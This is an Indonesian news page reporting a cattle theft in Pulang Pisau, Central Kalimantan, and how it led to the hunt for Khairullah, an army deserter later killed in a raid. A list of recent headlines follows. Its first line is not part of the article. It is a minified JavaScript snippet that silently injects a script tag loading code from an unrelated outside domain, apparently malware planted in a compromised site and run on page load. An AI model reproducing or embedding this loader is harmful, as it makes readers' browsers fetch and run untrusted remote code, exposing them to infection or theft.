(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINALITAS PULPIS

Pencurian Sapi, Ini Kasus yang Mengawali Perburuan Khairullah Sebelum Tewas


PULANG PISAU, Warga Desa Tumbang Nusa, Pulang Pisau, Kalimantan Tengah (Kalteng), seorang peternak sapi bernama Datang (55) mengalami nasib sial. Dua ekor sapinya lenyap dibawa pencuri sapi dengan cara dimutilasi, pada Minggu (1/9) malam. Akibat kejadian tersebut ia mengalami kerugian sekitar Rp30 juta.

Dari penuturannya pada Kanalkalimantan.com, Datang seperti kebanyakan peternak sapi di Desa Tumbang Nusa lainnya, melepas ternaknya di area bawah jembatan. Sapi dibiarkan bebas dalam kondisi tak terikat sekaligus untuk memberi makan di area bawah jembatan. “Itu sapi saya yang di curi, sebab saya kenal ciri-ciri dan ikat talinya. Malam itu saya diberitahu oleh teman saya bernama Ilik bahwa sapi saya hilang,” kata Datang. Baca: Diburu 2 Polda, 59 Polisi, dan 2 Anjing Pelacak, Khairullah Berakhir di Kantong Jenazah

 Datang mengatakan, Ilik memang dipercaya menjaga sapi piaraan milik warga. Sekaligus mengelola sapi yang dimilikinya. “Berdasarkan penuturan warga yang sempat melihat itu, diduga pelakunya menggunakan mobil Kijang Innova,” ujarnya menjelaskan.

Sementara Ilik (58) mengatakan, awalnya dia mendapat informasi dari seorang polisi bernama Herman, dan waktu itu menurutnya aparat kepolisian sudah berada di lokasi kejadian. “Waktu saya di lokasi, kondisi sapi sudah habis pak, dan yang bersisa hanya dua depalanya serta satu kaki yang dilemparkan sekitar satu kilometer dari TKP, tepatnya di sekitaran Desa Pilang,” tuturnya. Baca: Merasa Terendus, Penembak Polisi di Tala Jadikan Penumpang Mobil sebagai ‘Perisai Hidup’?

Menurutnya, para pelaku ini sudah cukup lama mengincar dan mengintai dengan berpura-pura sebagai pemancing atau gelandangan. Pelaku pun diduga menunggu waktu yang tepat sebelum memberikan obat mabuk kepada sapi yang kemudian dipotong dan dimasukkan ke mobil.

“Waktu itu saya juga ada melihat orang yang agak lusuh seperti orang gila, tetapi saya tidak menghiraukan, dan ternyata dia itu mengincar sapi. Sebenarnya, saya itu setiap siapa saja yang datang, baik orang mau mancing pasti saya tanya dan curigai. Nah ini sepertinya sore itu, jarak 2 jam saja sepertinya setelah saya tinggal dia mulai memutilasi sapi itu,” ujar Ilik. Baca: Pelaku Pencuri Sapi yang Baku Tembak dengan Polisi Ternyata Mantan TNI

Itulah kasus pertama, tentang pencurian sapi yang mengantar kemudian pada perburuan Khairullah. Hingga akhirnya, desersi TNI tersebut tewas dalam penggerebekan di sebuah hutan di daerah Hulu Sungai Selatan (HSS). (sjy)

Reporter : Sjy
Editor : cell

 


Desy Arfianty

Recent Posts

Meta hingga TikTok Digugat karena Picu Kecanduan Remaja

KANALKALIMANTAN.COM - Meta Platforms, TikTok, dan YouTube akan menghadapi persidangan di pengadilan Amerika Serikat (AS)… Read More

42 menit ago

DPMPTSP Kenalkan Layanan MPP Balangan ke Perangkat Desa

KANALKALIMANTAN.COM, PARINGIN - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Balangan menyosialisasikan… Read More

57 menit ago

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

14 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

15 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

16 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

16 jam ago

This website uses cookies.